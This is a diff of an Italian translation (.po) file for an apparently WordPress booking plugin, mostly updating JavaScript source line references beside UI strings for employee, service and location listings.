+#: assets/js/gutenberg-blocks.js:12990
 msgid "Employee Services List"
 msgstr "Elenco servizi dei dipendenti"
 
@@ -1642,7 +1632,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:25
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:29
 #: includes/shortcodes/EmployeesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11692
+#: assets/js/gutenberg-blocks.js:11693
 msgid "Employees List"
 msgstr "Elenco dipendenti"
 
@@ -1658,10 +1648,10 @@
 #: includes/shortcodes/LocationsListShortcode.php:41
 #: includes/shortcodes/ServiceCategoriesShortcode.php:43
 #: includes/shortcodes/ServicesListShortcode.php:41
-#: assets/js/gutenberg-blocks.js:11509
-#: assets/js/gutenberg-blocks.js:11804
-#: assets/js/gutenberg-blocks.js:12090
-#: assets/js/gutenberg-blocks.js:12408
+#: assets/js/gutenberg-blocks.js:11510
+#: assets/js/gutenberg-blocks.js:11805
+#: assets/js/gutenberg-blocks.js:12091
+#: assets/js/gutenberg-blocks.js:12409
 msgid "Show featured image."
 msgstr "Mostra immagine in evidenza."
 
@@ -1674,9 +1664,9 @@
 #: includes/shortcodes/EmployeesListShortcode.php:46
 #: includes/shortcodes/LocationsListShortcode.php:46
 #: includes/shortcodes/ServicesListShortcode.php:46
-#: assets/js/gutenberg-blocks.js:11517
-#: assets/js/gutenberg-blocks.js:11812
-#: assets/js/gutenberg-blocks.js:12416
+#: assets/js/gutenberg-blocks.js:11518
+#: assets/js/gutenberg-blocks.js:11813
+#: assets/js/gutenberg-blocks.js:12417
 msgid "Show post title."
 msgstr "Mostra titolo del post."
 
@@ -1689,30 +1679,30 @@
 #: includes/shortcodes/EmployeesListShortcode.php:51
 #: includes/shortcodes/LocationsListShortcode.php:51
 #: includes/shortcodes/ServicesListShortcode.php:51
-#: assets/js/gutenberg-blocks.js:11525
-#: assets/js/gutenberg-blocks.js:11820
-#: assets/js/gutenberg-blocks.js:12424
+#: assets/js/gutenberg-blocks.js:11526
+#: assets/js/gutenberg-blocks.js:11821
+#: assets/js/gutenberg-blocks.js:12425
 msgid "Show post excerpt."
 msgstr "Mostra un estratto del post."
 
 #: includes/divi/modules/EmployeesListModule.php:57
 #: includes/elementor/widgets/EmployeesListWidget.php:74
 #: includes/shortcodes/EmployeesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:11533
+#: assets/js/gutenberg-blocks.js:11534
 msgid "Show contact information."
 msgstr "Mostra informazioni di contatto."
 
 #: includes/divi/modules/EmployeesListModule.php:67
 #: includes/elementor/widgets/EmployeesListWidget.php:84
 #: includes/shortcodes/EmployeesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:11541
+#: assets/js/gutenberg-blocks.js:11542
 msgid "Show social networks."
 msgstr "Mostra Reti Sociali."
 
 #: includes/divi/modules/EmployeesListModule.php:77
 #: includes/elementor/widgets/EmployeesListWidget.php:94
 #: includes/shortcodes/EmployeesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:11549
+#: assets/js/gutenberg-blocks.js:11550
 msgid "Show additional information."
 msgstr "Mostra informazioni aggiuntive."
 
@@ -1720,7 +1710,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:107
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:60
 #: includes/shortcodes/EmployeesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:11559
 msgid "Comma-separated slugs or IDs of employees that will be shown."
 msgstr "Chiavi o identificatori separate da virgole o ID dei dipendenti che verranno visualizzati."
 
@@ -1734,8 +1724,8 @@
 #: includes/post-types/LocationPostType.php:77
 #: assets/js/analytics-page.js:33420
 #: assets/js/calendar-page.js:45397
-#: assets/js/gutenberg-blocks.js:11566
-#: assets/js/gutenberg-blocks.js:11828
+#: assets/js/gutenberg-blocks.js:11567
+#: assets/js/gutenberg-blocks.js:11829
 msgid "Locations"
 msgstr "Posizioni"
 
@@ -1743,8 +1733,8 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:117
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:66
 #: includes/shortcodes/EmployeesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:11567
-#: assets/js/gutenberg-blocks.js:11829
+#: assets/js/gutenberg-blocks.js:11568
+#: assets/js/gutenberg-blocks.js:11830
 msgid "Comma-separated slugs or IDs of locations."
 msgstr "Chiavi o identificatori separate da virgole o ID delle posizioni."
 
@@ -1757,9 +1747,9 @@
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:71
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:68
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:84
-#: assets/js/gutenberg-blocks.js:11575
-#: assets/js/gutenberg-blocks.js:11846
-#: assets/js/gutenberg-blocks.js:12500
+#: assets/js/gutenberg-blocks.js:11576
+#: assets/js/gutenberg-blocks.js:11847
+#: assets/js/gutenberg-blocks.js:12501
 msgid "Posts Per Page"
 msgstr "Post per pagina"
 
@@ -1777,10 +1767,10 @@
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:96
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:91
 #: includes/widgets/AppointmentFormWidget.php:237
-#: assets/js/gutenberg-blocks.js:11584
-#: assets/js/gutenberg-blocks.js:11855
-#: assets/js/gutenberg-blocks.js:12170
-#: assets/js/gutenberg-blocks.js:12509
+#: assets/js/gutenberg-blocks.js:11585
+#: assets/js/gutenberg-blocks.js:11856
+#: assets/js/gutenberg-blocks.js:12171
+#: assets/js/gutenberg-blocks.js:12510
 msgid "Columns Count"
 msgstr "Conteggio colonne"
 
@@ -1798,10 +1788,10 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:92
 #: includes/shortcodes/AbstractPostsListShortcode.php:29
 #: includes/shortcodes/AbstractTermsListShortcode.php:30
-#: assets/js/gutenberg-blocks.js:11585
-#: assets/js/gutenberg-blocks.js:11856
-#: assets/js/gutenberg-blocks.js:12171
-#: assets/js/gutenberg-blocks.js:12510
+#: assets/js/gutenberg-blocks.js:11586
+#: assets/js/gutenberg-blocks.js:11857
+#: assets/js/gutenberg-blocks.js:12172
+#: assets/js/gutenberg-blocks.js:12511
 msgid "The number of columns in the grid."
 msgstr "Il numero di colonne della griglia."
 
@@ -1815,10 +1805,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:178
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:59
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:54
-#: assets/js/gutenberg-blocks.js:11594
-#: assets/js/gutenberg-blocks.js:11865
-#: assets/js/gutenberg-blocks.js:12180
-#: assets/js/gutenberg-blocks.js:12519
+#: assets/js/gutenberg-blocks.js:11595
+#: assets/js/gutenberg-blocks.js:11866
+#: assets/js/gutenberg-blocks.js:12181
+#: assets/js/gutenberg-blocks.js:12520
 msgid "Order By"
 msgstr "Ordina per"
 
@@ -1832,10 +1822,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:182
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:39
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11601
-#: assets/js/gutenberg-blocks.js:11872
-#: assets/js/gutenberg-blocks.js:12187
-#: assets/js/gutenberg-blocks.js:12526
+#: assets/js/gutenberg-blocks.js:11602
+#: assets/js/gutenberg-blocks.js:11873
+#: assets/js/gutenberg-blocks.js:12188
+#: assets/js/gutenberg-blocks.js:12527
 msgid "No order"
 msgstr "Nessun ordine"
 
@@ -1846,9 +1836,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:124
 #: includes/elementor/widgets/ServicesListWidget.php:183
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11604
-#: assets/js/gutenberg-blocks.js:11875
-#: assets/js/gutenberg-blocks.js:12529
+#: assets/js/gutenberg-blocks.js:11605
+#: assets/js/gutenberg-blocks.js:11876
+#: assets/js/gutenberg-blocks.js:12530
 msgid "Post ID"
 msgstr "ID articolo"
 
@@ -1859,9 +1849,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:125
 #: includes/elementor/widgets/ServicesListWidget.php:184
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:11607
-#: assets/js/gutenberg-blocks.js:11878
-#: assets/js/gutenberg-blocks.js:12532
+#: assets/js/gutenberg-blocks.js:11608
+#: assets/js/gutenberg-blocks.js:11879
+#: assets/js/gutenberg-blocks.js:12533
 msgid "Post author"
 msgstr "Autore"
 
@@ -1875,9 +1865,9 @@
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:49
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:49
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:11610
-#: assets/js/gutenberg-blocks.js:11881
-#: assets/js/gutenberg-blocks.js:12535
+#: assets/js/gutenberg-blocks.js:11611
+#: assets/js/gutenberg-blocks.js:11882
+#: assets/js/gutenberg-blocks.js:12536
 msgid "Post title"
 msgstr "Titolo del post"
 
@@ -1888,9 +1878,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:127
 #: includes/elementor/widgets/ServicesListWidget.php:186
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:11613
-#: assets/js/gutenberg-blocks.js:11884
-#: assets/js/gutenberg-blocks.js:12538
+#: assets/js/gutenberg-blocks.js:11614
+#: assets/js/gutenberg-blocks.js:11885
+#: assets/js/gutenberg-blocks.js:12539
 msgid "Post name (post slug)"
 msgstr "Nome del post ( slug del post)"
 
@@ -1901,9 +1891,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:128
 #: includes/elementor/widgets/ServicesListWidget.php:187
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:11616
-#: assets/js/gutenberg-blocks.js:11887
-#: assets/js/gutenberg-blocks.js:12541
+#: assets/js/gutenberg-blocks.js:11617
+#: assets/js/gutenberg-blocks.js:11888
+#: assets/js/gutenberg-blocks.js:12542
 msgid "Post date"
 msgstr "Data del post"
 
@@ -1914,9 +1904,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:129
 #: includes/elementor/widgets/ServicesListWidget.php:188
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:11619
-#: assets/js/gutenberg-blocks.js:11890
-#: assets/js/gutenberg-blocks.js:12544
+#: assets/js/gutenberg-blocks.js:11620
+#: assets/js/gutenberg-blocks.js:11891
+#: assets/js/gutenberg-blocks.js:12545
 msgid "Last modified date"
 msgstr "Data dell'ultima modifica"
 
@@ -1927,9 +1917,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:130
 #: includes/elementor/widgets/ServicesListWidget.php:189
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:11622
-#: assets/js/gutenberg-blocks.js:11893
-#: assets/js/gutenberg-blocks.js:12547
+#: assets/js/gutenberg-blocks.js:11623
+#: assets/js/gutenberg-blocks.js:11894
+#: assets/js/gutenberg-blocks.js:12548
 msgid "Random order"
 msgstr "Ordine casuale"
 
@@ -1940,9 +1930,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:131
 #: includes/elementor/widgets/ServicesListWidget.php:190
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:11625
-#: assets/js/gutenberg-blocks.js:11896
-#: assets/js/gutenberg-blocks.js:12550
+#: assets/js/gutenberg-blocks.js:11626
+#: assets/js/gutenberg-blocks.js:11897
+#: assets/js/gutenberg-blocks.js:12551
 msgid "Relevance"
 msgstr "Pertinenza"
 
@@ -1956,10 +1946,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:191
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:48
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:48
-#: assets/js/gutenberg-blocks.js:11628
-#: assets/js/gutenberg-blocks.js:11899
-#: assets/js/gutenberg-blocks.js:12211
-#: assets/js/gutenberg-blocks.js:12553
+#: assets/js/gutenberg-blocks.js:11629
+#: assets/js/gutenberg-blocks.js:11900
+#: assets/js/gutenberg-blocks.js:12212
+#: assets/js/gutenberg-blocks.js:12554
 msgid "Page order"
 msgstr "Ordine pagine"
 
@@ -1970,9 +1960,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:133
 #: includes/elementor/widgets/ServicesListWidget.php:192
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:49
-#: assets/js/gutenberg-blocks.js:11631
-#: assets/js/gutenberg-blocks.js:11902
-#: assets/js/gutenberg-blocks.js:12556
+#: assets/js/gutenberg-blocks.js:11632
+#: assets/js/gutenberg-blocks.js:11903
+#: assets/js/gutenberg-blocks.js:12557
 msgid "Page order and post title"
 msgstr "Ordine della pagina e titolo del post"
 
@@ -1984,10 +1974,10 @@
 #: includes/elementor/widgets/LocationsListWidget.php:146
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:178
 #: includes/elementor/widgets/ServicesListWidget.php:206
-#: assets/js/gutenberg-blocks.js:11641
-#: assets/js/gutenberg-blocks.js:11912
-#: assets/js/gutenberg-blocks.js:12221
-#: assets/js/gutenberg-blocks.js:12569
+#: assets/js/gutenberg-blocks.js:11642
+#: assets/js/gutenberg-blocks.js:11913
+#: assets/js/gutenberg-blocks.js:12222
+#: assets/js/gutenberg-blocks.js:12570
 msgid "DESC"
 msgstr "DESC"
 
@@ -2001,24 +1991,24 @@
 #: includes/elementor/widgets/ServicesListWidget.php:207
 #: includes/shortcodes/AbstractPostsListShortcode.php:42
 #: includes/shortcodes/AbstractTermsListShortcode.php:43
-#: assets/js/gutenberg-blocks.js:11644
-#: assets/js/gutenberg-blocks.js:11915
-#: assets/js/gutenberg-blocks.js:12224
-#: assets/js/gutenberg-blocks.js:12572
+#: assets/js/gutenberg-blocks.js:11645
+#: assets/js/gutenberg-blocks.js:11916
+#: assets/js/gutenberg-blocks.js:12225
+#: assets/js/gutenberg-blocks.js:12573
 msgid "ASC"
 msgstr "ASC"
 
 #: includes/divi/modules/EmployeeSocialNetworksModule.php:20
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeSocialNetworksShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13481
+#: assets/js/gutenberg-blocks.js:13482
 msgid "Employee Social Networks"
 msgstr "Reti sociali dei dipendenti"
 
 #: includes/divi/modules/EmployeeTitleModule.php:20
 #: includes/elementor/widgets/EmployeeTitleWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeTitleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12866
+#: assets/js/gutenberg-blocks.js:12867
 msgid "Employee Title"
 msgstr "Titolo del dipendente"
 
@@ -2026,7 +2016,7 @@
 #: includes/elementor/widgets/LocationsListWidget.php:25
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:29
 #: includes/shortcodes/LocationsListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11963
+#: assets/js/gutenberg-blocks.js:11964
 msgid "Locations List"
 msgstr "Elenco delle posizioni"
 
@@ -2048,9 +2038,9 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:72
 #: includes/post-types/LocationPostType.php:124
 #: includes/post-types/ServicePostType.php:164
-#: assets/js/gutenberg-blocks.js:11837
-#: assets/js/gutenberg-blocks.js:12123
-#: assets/js/gutenberg-blocks.js:12482
+#: assets/js/gutenberg-blocks.js:11838
+#: assets/js/gutenberg-blocks.js:12124
+#: assets/js/gutenberg-blocks.js:12483
 msgid "Categories"
 msgstr "Categorie"
 
@@ -2066,9 +2056,9 @@
 #: includes/shortcodes/LocationsListShortcode.php:61
 #: includes/shortcodes/ServiceCategoriesShortcode.php:64
 #: includes/shortcodes/ServicesListShortcode.php:86
-#: assets/js/gutenberg-blocks.js:11838
-#: assets/js/gutenberg-blocks.js:12124
-#: assets/js/gutenberg-blocks.js:12483
+#: assets/js/gutenberg-blocks.js:11839
+#: assets/js/gutenberg-blocks.js:12125
+#: assets/js/gutenberg-blocks.js:12484
 msgid "Comma-separated slugs or IDs of categories that will be shown."
 msgstr "Chiavi o identificatori separate da virgole o ID delle categorie che verranno visualizzate."
 
@@ -2078,26 +2068,26 @@
 #: includes/post-types/ServicePostType.php:149
 #: includes/post-types/ServicePostType.php:252
 #: includes/shortcodes/ServiceCategoriesShortcode.php:31
-#: assets/js/gutenberg-blocks.js:12272
+#: assets/js/gutenberg-blocks.js:12273
 msgid "Service Categories"
 msgstr "Categorie di servizi"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:37
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:53
-#: assets/js/gutenberg-blocks.js:12098
+#: assets/js/gutenberg-blocks.js:12099
 msgid "Show Services Count?"
 msgstr "Mostrare il conteggio dei servizi?"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:47
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:63
-#: assets/js/gutenberg-blocks.js:12106
+#: assets/js/gutenberg-blocks.js:12107
 msgid "Show Description?"
 msgstr "Mostrare la descrizione?"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:57
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:73
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:56
-#: assets/js/gutenberg-blocks.js:12114
+#: assets/js/gutenberg-blocks.js:12115
 msgid "Parent"
 msgstr "Superiore"
 
@@ -2105,14 +2095,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:76
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:57
 #: includes/shortcodes/ServiceCategoriesShortcode.php:58
-#: assets/js/gutenberg-blocks.js:12115
+#: assets/js/gutenberg-blocks.js:12116
 msgid "Parent term slug or ID to retrieve direct-child terms from."
 msgstr "Slug o ID del termine superiore da cui recuperare i termini diretti di categoria inferiore."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:69
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:93
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:68
-#: assets/js/gutenberg-blocks.js:12132
+#: assets/js/gutenberg-blocks.js:12133
 msgid "Exclude Categories"
 msgstr "Escludi Categorie"
 
@@ -2120,21 +2110,21 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:96
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:69
 #: includes/shortcodes/ServiceCategoriesShortcode.php:69
-#: assets/js/gutenberg-blocks.js:12133
+#: assets/js/gutenberg-blocks.js:12134
 msgid "Comma-separated slugs or IDs of categories that will not be shown."
 msgstr "Chiavi o identificatori separate da virgole o ID delle categorie che non verranno visualizzate."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:75
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:103
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:74
-#: assets/js/gutenberg-blocks.js:12141
+#: assets/js/gutenberg-blocks.js:12142
 msgid "Hide Empty"
 msgstr "Nascondi vuoti"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:85
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:114
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:80
-#: assets/js/gutenberg-blocks.js:12150
+#: assets/js/gutenberg-blocks.js:12151
 msgid "Depth"
 msgstr "Profondità"
 
@@ -2142,14 +2132,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:115
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:81
 #: includes/shortcodes/ServiceCategoriesShortcode.php:79
-#: assets/js/gutenberg-blocks.js:12151
+#: assets/js/gutenberg-blocks.js:12152
 msgid "Display depth of child categories."
 msgstr "Visualizza tutte le categorie inferiori."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:97
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:127
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:88
-#: assets/js/gutenberg-blocks.js:12160
+#: assets/js/gutenberg-blocks.js:12161
 msgid "Number"
 msgstr "Numero"
 
@@ -2157,56 +2147,56 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:128
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:89
 #: includes/shortcodes/AbstractTermsListShortcode.php:24
-#: assets/js/gutenberg-blocks.js:12161
+#: assets/js/gutenberg-blocks.js:12162
 msgid "Maximum number of categories to show."
 msgstr "Numero massimo di categorie da visualizzare."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:126
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:158
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:12190
+#: assets/js/gutenberg-blocks.js:12191
 msgid "Term name"
 msgstr "Nome del termine"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:127
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:159
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:12193
+#: assets/js/gutenberg-blocks.js:12194
 msgid "Term slug"
 msgstr "Slug del termine"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:128
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:160
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:12196
+#: assets/js/gutenberg-blocks.js:12197
 msgid "Term ID"
 msgstr "ID termine"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:129
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:161
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:12199
+#: assets/js/gutenberg-blocks.js:12200
 msgid "Parent ID"
 msgstr "ID superiore"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:130
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:162
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:12202
+#: assets/js/gutenberg-blocks.js:12203
 msgid "Number of associated objects"
 msgstr "Numero di oggetti associati"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:131
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:163
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:12205
+#: assets/js/gutenberg-blocks.js:12206
 msgid "Keep the order of \"IDs\" parameter"
 msgstr "Mantieni l'ordine del parametro \"ID\""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:132
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:164
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:12208
+#: assets/js/gutenberg-blocks.js:12209
 msgid "Term order"
 msgstr "Ordine del termine"
 
@@ -2214,35 +2204,35 @@
 #: includes/elementor/widgets/ServicesListWidget.php:24
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:29
 #: includes/shortcodes/ServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12620
+#: assets/js/gutenberg-blocks.js:12621
 msgid "Services List"
 msgstr "Elenco dei servizi"
 
 #: includes/divi/modules/ServicesListModule.php:57
 #: includes/elementor/widgets/ServicesListWidget.php:73
 #: includes/shortcodes/ServicesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:12432
+#: assets/js/gutenberg-blocks.js:12433
 msgid "Show service price."
 msgstr "Mostra il prezzo dei servizi."
 
 #: includes/divi/modules/ServicesListModule.php:67
 #: includes/elementor/widgets/ServicesListWidget.php:83
 #: includes/shortcodes/ServicesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:12440
+#: assets/js/gutenberg-blocks.js:12441
 msgid "Show service duration."
 msgstr "Mostra la durata del servizio."
 
 #: includes/divi/modules/ServicesListModule.php:77
 #: includes/elementor/widgets/ServicesListWidget.php:93
 #: includes/shortcodes/ServicesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:12448
+#: assets/js/gutenberg-blocks.js:12449
 msgid "Show service capacity."
 msgstr "Mostra la capacità dei servizio."
 
 #: includes/divi/modules/ServicesListModule.php:87
 #: includes/elementor/widgets/ServicesListWidget.php:103
 #: includes/shortcodes/ServicesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:12456
+#: assets/js/gutenberg-blocks.js:12457
 msgid "Show service employees."
 msgstr "Mostra i dipendenti del servizio."
 
@@ -2250,7 +2240,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:116
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:61
 #: includes/shortcodes/ServicesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:12465
+#: assets/js/gutenberg-blocks.js:12466
 msgid "Comma-separated slugs or IDs of services that will be shown."
 msgstr "Chiavi o identificatori separate da virgole o ID dei servizi che verranno visualizzati."
 
@@ -2258,7 +2248,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:126
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:67
 #: includes/shortcodes/ServicesListShortcode.php:81
-#: assets/js/gutenberg-blocks.js:12474
+#: assets/js/gutenberg-blocks.js:12475
 msgid "Comma-separated slugs or IDs of employees that perform these services."
 msgstr "Chiavi o identificatori separate da virgole o ID dei dipendenti che eseguiranno questi servizi."
 
@@ -2266,7 +2256,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:143
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:78
 #: includes/post-types/ServicePostType.php:210
-#: assets/js/gutenberg-blocks.js:12491
+#: assets/js/gutenberg-blocks.js:12492
 msgid "Tags"
 msgstr "Tag"
 
@@ -2365,7 +2355,7 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:105
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:75
 #: includes/shortcodes/ServiceCategoriesShortcode.php:74
-#: assets/js/gutenberg-blocks.js:12142
+#: assets/js/gutenberg-blocks.js:12143
 msgid "Hide terms not assigned to any posts."
 msgstr "Nascondi i termini non ancora assegnati ad alcun post."
 
@@ -2623,10 +2613,10 @@
 #: includes/emails/tags/booking/BookingLeftToPayTag.php:19
 #: templates/emails/admin/admin-approved-booking-email.php:29
 #: templates/emails/customer/customer-approved-payment-email.php:24
-#: assets/js/divi-modules.js:6018
-#: assets/js/elementor-widgets.js:6018
-#: assets/js/gutenberg-blocks.js:6457
-#: assets/js/public.js:6018
+#: assets/js/divi-modules.js:6019
+#: assets/js/elementor-widgets.js:6019
+#: assets/js/gutenberg-blocks.js:6458
+#: assets/js/public.js:6019
 msgid "Left to pay"
 msgstr "Da pagare"
 
@@ -2846,11 +2836,11 @@
 #: templates/shortcodes/booking/step-cart.php:48
 #: templates/shortcodes/template-parts/booking-details.php:51
 #: assets/js/calendar-page.js:38070
-#: assets/js/divi-modules.js:2858
-#: assets/js/edit-post.js:4314
-#: assets/js/elementor-widgets.js:2858
+#: assets/js/divi-modules.js:2859
+#: assets/js/edit-post.js:4315
+#: assets/js/elementor-widgets.js:2859
 #: assets/js/gutenberg-blocks.js:431
-#: assets/js/public.js:2858
+#: assets/js/public.js:2859
 #: assets/js/widgets-manage-page.js:300
 msgid "Clients"
 msgstr "Clienti"
@@ -2912,13 +2902,13 @@
 #: includes/fields/complex/TimetableField.php:313
 #: includes/structures/TimePeriod.php:294
 #: assets/js/calendar-page.js:38145
-#: assets/js/divi-modules.js:3569
+#: assets/js/divi-modules.js:3570
 #: assets/js/edit-post.js:2101
-#: assets/js/edit-post.js:4846
-#: assets/js/edit-post.js:8800
-#: assets/js/elementor-widgets.js:3569
+#: assets/js/edit-post.js:4847
+#: assets/js/edit-post.js:8801
+#: assets/js/elementor-widgets.js:3570
 #: assets/js/gutenberg-blocks.js:1855
-#: assets/js/public.js:3569
+#: assets/js/public.js:3570
 #: assets/js/widgets-manage-page.js:1620
 msgid "All day"
 msgstr "Tutto il giorno"
@@ -2927,12 +2917,12 @@
 #: includes/fields/complex/DaysOffField.php:100
 #: templates/shortcodes/booking/cart/admin-cart-item.php:113
 #: templates/shortcodes/booking/step-cart.php:72
-#: assets/js/divi-modules.js:5975
+#: assets/js/divi-modules.js:5976
 #: assets/js/edit-post.js:2051
 #: assets/js/edit-post.js:2283
-#: assets/js/elementor-widgets.js:5975
-#: assets/js/gutenberg-blocks.js:6414
-#: assets/js/public.js:5975
+#: assets/js/elementor-widgets.js:5976
+#: assets/js/gutenberg-blocks.js:6415
+#: assets/js/public.js:5976
 msgid "Remove"
 msgstr "Rimuovere"
 
@@ -3039,7 +3029,7 @@
 
 #. Translators: %s: Location name, like "Barbershop".
 #: includes/fields/complex/TimetableField.php:241
-#: assets/js/edit-post.js:8815
+#: assets/js/edit-post.js:8816
 #, php-format,js-format
 msgctxt "Working at %s"
 msgid "at %s"
@@ -3344,11 +3334,11 @@
 
 #: includes/helpers/PriceCalculationHelper.php:50
 #: includes/helpers/PriceCalculationHelper.php:122
-#: assets/js/divi-modules.js:6056
+#: assets/js/divi-modules.js:6057
 #: assets/js/edit-post.js:1602
-#: assets/js/elementor-widgets.js:6056
-#: assets/js/gutenberg-blocks.js:6495
-#: assets/js/public.js:6056
+#: assets/js/elementor-widgets.js:6057
+#: assets/js/gutenberg-blocks.js:6496
+#: assets/js/public.js:6057
 msgctxt "Zero price"
 msgid "Free"
